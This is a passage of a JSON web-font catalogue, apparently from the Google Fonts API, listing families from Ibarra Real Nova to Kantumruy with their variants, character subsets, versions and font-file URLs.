        "700italic": "http://fonts.gstatic.com/s/ibarrarealnova/v1/sZladQiA-DBIDCcaWtQzL4BZHoiDkH5gqNFPNspmGXawpg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Iceberg",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/iceberg/v7/8QIJdijAiM7o-qnZuIgOq7jkAOw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Iceland",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/iceland/v8/rax9HiuFsdMNOnWPWKxGADBbg0s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Imprima",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/imprima/v8/VEMxRoN7sY3yuy-7-oWHyDzktPo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inconsolata",
      "category": "monospace",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v18",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/inconsolata/v18/QldKNThLqRwH-OJ1UHjlKFle7KlmxuHx.ttf",
        "700": "http://fonts.gstatic.com/s/inconsolata/v18/QldXNThLqRwH-OJ1UHjlKGHiw41u7f34DYwn.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inder",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/inder/v8/w8gUH2YoQe8_4vq6pw-P3U4O.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Indie Flower",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/indieflower/v11/m8JVjfNVeKWVnh3QMuKkFcZlbkGG1dKEDw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inika",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/inika/v8/rnCm-x5X3QP-phTHRcc2s2XH.ttf",
        "700": "http://fonts.gstatic.com/s/inika/v8/rnCr-x5X3QP-pix7auM-mHnOSOuk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inknut Antiqua",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2vwrj5bBoIYJNf.ttf",
        "regular": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GSYax7VC4ot_qNB4nYpBdaKXUD6pzxRwYB.ttf",
        "500": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU33w7j5bBoIYJNf.ttf",
        "600": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU3bxLj5bBoIYJNf.ttf",
        "700": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2_xbj5bBoIYJNf.ttf",
        "800": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2jxrj5bBoIYJNf.ttf",
        "900": "http://fonts.gstatic.com/s/inknutantiqua/v5/Y4GRYax7VC4ot_qNB4nYpBdaKU2Hx7j5bBoIYJNf.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inria Sans",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "300": "http://fonts.gstatic.com/s/inriasans/v1/ptRPTiqXYfZMCOiVj9kQ3ELaDQtFqeY3fX4.ttf",
        "300italic": "http://fonts.gstatic.com/s/inriasans/v1/ptRRTiqXYfZMCOiVj9kQ1OzAgQlPrcQybX4pQA.ttf",
        "regular": "http://fonts.gstatic.com/s/inriasans/v1/ptRMTiqXYfZMCOiVj9kQ5O7yKQNute8.ttf",
        "italic": "http://fonts.gstatic.com/s/inriasans/v1/ptROTiqXYfZMCOiVj9kQ1Oz4LSFrpe8uZA.ttf",
        "700": "http://fonts.gstatic.com/s/inriasans/v1/ptRPTiqXYfZMCOiVj9kQ3FLdDQtFqeY3fX4.ttf",
        "700italic": "http://fonts.gstatic.com/s/inriasans/v1/ptRRTiqXYfZMCOiVj9kQ1OzAkQ5PrcQybX4pQA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inria Serif",
      "category": "serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "300": "http://fonts.gstatic.com/s/inriaserif/v1/fC14PYxPY3rXxEndZJAzN3wAVQjFhFyta3xN.ttf",
        "300italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC16PYxPY3rXxEndZJAzN3SuT4THjliPbmxN0_E.ttf",
        "regular": "http://fonts.gstatic.com/s/inriaserif/v1/fC1lPYxPY3rXxEndZJAzN0SsfSzNr0Ck.ttf",
        "italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC1nPYxPY3rXxEndZJAzN3SudyjvqlCkcmU.ttf",
        "700": "http://fonts.gstatic.com/s/inriaserif/v1/fC14PYxPY3rXxEndZJAzN3wQUgjFhFyta3xN.ttf",
        "700italic": "http://fonts.gstatic.com/s/inriaserif/v1/fC16PYxPY3rXxEndZJAzN3SuT5TAjliPbmxN0_E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Inter",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "100": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyeMZhrib2Bg-4.ttf",
        "200": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyfMZhrib2Bg-4.ttf",
        "300": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuOKfMZhrib2Bg-4.ttf",
        "regular": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuLyfMZhrib2Bg-4.ttf",
        "500": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuI6fMZhrib2Bg-4.ttf",
        "600": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuGKYMZhrib2Bg-4.ttf",
        "700": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuFuYMZhrib2Bg-4.ttf",
        "800": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuDyYMZhrib2Bg-4.ttf",
        "900": "http://fonts.gstatic.com/s/inter/v1/UcCO3FwrK3iLTeHuS_fvQtMwCp50KnMw2boKoduKmMEVuBWYMZhrib2Bg-4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Irish Grover",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/irishgrover/v10/buExpoi6YtLz2QW7LA4flVgf-P5Oaiw4cw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Istok Web",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/istokweb/v14/3qTvojGmgSyUukBzKslZAWF-9kIIaQ.ttf",
        "italic": "http://fonts.gstatic.com/s/istokweb/v14/3qTpojGmgSyUukBzKslpA2t61EcYaQ7F.ttf",
        "700": "http://fonts.gstatic.com/s/istokweb/v14/3qTqojGmgSyUukBzKslhvU5a_mkUYBfcMw.ttf",
        "700italic": "http://fonts.gstatic.com/s/istokweb/v14/3qT0ojGmgSyUukBzKslpA1PG-2MQQhLMMygN.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Italiana",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/italiana/v8/QldNNTtLsx4E__B0XTmRY31Wx7Vv.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Italianno",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/italianno/v9/dg4n_p3sv6gCJkwzT6Rnj5YpQwM-gg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Itim",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/itim/v4/0nknC9ziJOYewARKkc7ZdwU.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jacques Francois",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jacquesfrancois/v7/ZXu9e04ZvKeOOHIe1TMahbcIU2cgmcPqoeRWfbs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jacques Francois Shadow",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jacquesfrancoisshadow/v8/KR1FBtOz8PKTMk-kqdkLVrvR0ECFrB6Pin-2_q8VsHuV5ULS.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jaldi",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jaldi/v6/or3sQ67z0_CI30NUZpD_B6g8.ttf",
        "700": "http://fonts.gstatic.com/s/jaldi/v6/or3hQ67z0_CI33voSbT3LLQ1niPn.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jim Nightshade",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jimnightshade/v7/PlIkFlu9Pb08Q8HLM1PxmB0g-OS4V3qKaMxD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jockey One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jockeyone/v9/HTxpL2g2KjCFj4x8WI6ArIb7HYOk4xc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jolly Lodger",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jollylodger/v7/BXRsvFTAh_bGkA1uQ48dlB3VWerT3ZyuqA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jomhuria",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jomhuria/v7/Dxxp8j-TMXf-llKur2b1MOGbC3Dh.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jomolhari",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "tibetan",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jomolhari/v1/EvONzA1M1Iw_CBd2hsQCF1IZKq5INg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Josefin Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "100italic",
        "200italic",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2020-03-06",
      "files": {
        "100": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjRXMFrLgTsQV0.ttf",
        "200": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_LjQXMFrLgTsQV0.ttf",
        "300": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_GbQXMFrLgTsQV0.ttf",
        "regular": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_DjQXMFrLgTsQV0.ttf",
        "500": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ArQXMFrLgTsQV0.ttf",
        "600": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_ObXXMFrLgTsQV0.ttf",
        "700": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3PZQNVED7rKGKxtqIqX5E-AVSJrOCfjY46_N_XXMFrLgTsQV0.ttf",
        "100italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtINhKibpUV3MEQ.ttf",
        "200italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTNIJhKibpUV3MEQ.ttf",
        "300italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCT6oJhKibpUV3MEQ.ttf",
        "italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTtIJhKibpUV3MEQ.ttf",
        "500italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCThoJhKibpUV3MEQ.ttf",
        "600italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTaoVhKibpUV3MEQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/josefinsans/v15/Qw3JZQNVED7rKGKxtqIqX5EUCGZ2dIn0FyA96fCTU4VhKibpUV3MEQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Josefin Slab",
      "category": "serif",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/josefinslab/v10/lW-nwjwOK3Ps5GSJlNNkMalvyQ6qBM7oPxMX.ttf",
        "100italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-lwjwOK3Ps5GSJlNNkMalnrzbODsrKOgMX95A.ttf",
        "300": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvASyKLuDkNgoO7g.ttf",
        "300italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzYGLOrgFA8e7onu.ttf",
        "regular": "http://fonts.gstatic.com/s/josefinslab/v10/lW-5wjwOK3Ps5GSJlNNkMalXrQSuJsv4Pw.ttf",
        "italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-nwjwOK3Ps5GSJlNNkMalnrw6qBM7oPxMX.ttf",
        "600": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvdSqKLuDkNgoO7g.ttf",
        "600italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzZyKurgFA8e7onu.ttf",
        "700": "http://fonts.gstatic.com/s/josefinslab/v10/lW-mwjwOK3Ps5GSJlNNkMalvESuKLuDkNgoO7g.ttf",
        "700italic": "http://fonts.gstatic.com/s/josefinslab/v10/lW-kwjwOK3Ps5GSJlNNkMalnrzYWK-rgFA8e7onu.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Joti One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jotione/v8/Z9XVDmdJQAmWm9TwaYTe4u2El6GC.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jua",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/jua/v8/co3KmW9ljjAjc-DZCsKgsg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Judson",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/judson/v12/FeVRS0Fbvbc14VxRD7N01bV7kg.ttf",
        "italic": "http://fonts.gstatic.com/s/judson/v12/FeVTS0Fbvbc14VxhDblw97BrknZf.ttf",
        "700": "http://fonts.gstatic.com/s/judson/v12/FeVSS0Fbvbc14Vxps5xQ3Z5nm29Gww.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Julee",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/julee/v9/TuGfUVB3RpZPQ6ZLodgzydtk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Julius Sans One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/juliussansone/v8/1Pt2g8TAX_SGgBGUi0tGOYEga5W-xXEW6aGXHw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Junge",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/junge/v7/gokgH670Gl1lUqAdvhB7SnKm.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Jura",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2020-02-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP0D7auhTfmrH_rt.ttf",
        "regular": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP1d7auhTfmrH_rt.ttf",
        "500": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP1v7auhTfmrH_rt.ttf",
        "600": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP2D6quhTfmrH_rt.ttf",
        "700": "http://fonts.gstatic.com/s/jura/v14/z7NOdRfiaC4Vd8hhoPzfb5vBTP266quhTfmrH_rt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Just Another Hand",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/justanotherhand/v11/845CNN4-AJyIGvIou-6yJKyptyOpOcr_BmmlS5aw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Just Me Again Down Here",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/justmeagaindownhere/v11/MwQmbgXtz-Wc6RUEGNMc0QpRrfUh2hSdBBMoAuwHvqDwc_fg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "K2D",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/k2d/v3/J7aRnpF2V0ErE6UpvrIw74NL.ttf",
        "100italic": "http://fonts.gstatic.com/s/k2d/v3/J7afnpF2V0EjdZ1NtLYS6pNLAjk.ttf",
        "200": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Erv4QJlJw85ppSGw.ttf",
        "200italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3hlZY4xJ9CGyAa.ttf",
        "300": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Er24cJlJw85ppSGw.ttf",
        "300italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2FlpY4xJ9CGyAa.ttf",
        "regular": "http://fonts.gstatic.com/s/k2d/v3/J7aTnpF2V0ETd68tnLcg7w.ttf",
        "italic": "http://fonts.gstatic.com/s/k2d/v3/J7aRnpF2V0EjdaUpvrIw74NL.ttf",
        "500": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Erg4YJlJw85ppSGw.ttf",
        "500italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3dl5Y4xJ9CGyAa.ttf",
        "600": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Err4EJlJw85ppSGw.ttf",
        "600italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ3xkJY4xJ9CGyAa.ttf",
        "700": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Ery4AJlJw85ppSGw.ttf",
        "700italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2VkZY4xJ9CGyAa.ttf",
        "800": "http://fonts.gstatic.com/s/k2d/v3/J7aenpF2V0Er14MJlJw85ppSGw.ttf",
        "800italic": "http://fonts.gstatic.com/s/k2d/v3/J7acnpF2V0EjdZ2JkpY4xJ9CGyAa.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kadwa",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kadwa/v4/rnCm-x5V0g7iphTHRcc2s2XH.ttf",
        "700": "http://fonts.gstatic.com/s/kadwa/v4/rnCr-x5V0g7ipix7auM-mHnOSOuk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kalam",
      "category": "handwriting",
      "variants": [
        "300",
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/kalam/v10/YA9Qr0Wd4kDdMtD6GgLLmCUItqGt.ttf",
        "regular": "http://fonts.gstatic.com/s/kalam/v10/YA9dr0Wd4kDdMuhWMibDszkB.ttf",
        "700": "http://fonts.gstatic.com/s/kalam/v10/YA9Qr0Wd4kDdMtDqHQLLmCUItqGt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kameron",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kameron/v10/vm82dR7vXErQxuznsL4wL-XIYH8.ttf",
        "700": "http://fonts.gstatic.com/s/kameron/v10/vm8zdR7vXErQxuzniAIfC-3jfHb--NY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kanit",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/kanit/v5/nKKX-Go6G5tXcr72GwWKcaxALFs.ttf",
        "100italic": "http://fonts.gstatic.com/s/kanit/v5/nKKV-Go6G5tXcraQI2GAdY5FPFtrGw.ttf",
        "200": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5aOiWgX6BJNUJy.ttf",
        "200italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI82hVaRrMFJyAu4.ttf",
        "300": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4-OSWgX6BJNUJy.ttf",
        "300italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI6miVaRrMFJyAu4.ttf",
        "regular": "http://fonts.gstatic.com/s/kanit/v5/nKKZ-Go6G5tXcoaSEQGodLxA.ttf",
        "italic": "http://fonts.gstatic.com/s/kanit/v5/nKKX-Go6G5tXcraQGwWKcaxALFs.ttf",
        "500": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5mOCWgX6BJNUJy.ttf",
        "500italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI_GjVaRrMFJyAu4.ttf",
        "600": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr5KPyWgX6BJNUJy.ttf",
        "600italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI92kVaRrMFJyAu4.ttf",
        "700": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4uPiWgX6BJNUJy.ttf",
        "700italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI7mlVaRrMFJyAu4.ttf",
        "800": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4yPSWgX6BJNUJy.ttf",
        "800italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI6WmVaRrMFJyAu4.ttf",
        "900": "http://fonts.gstatic.com/s/kanit/v5/nKKU-Go6G5tXcr4WPCWgX6BJNUJy.ttf",
        "900italic": "http://fonts.gstatic.com/s/kanit/v5/nKKS-Go6G5tXcraQI4GnVaRrMFJyAu4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kantumruy",
      "category": "sans-serif",
      "variants": [
        "300",
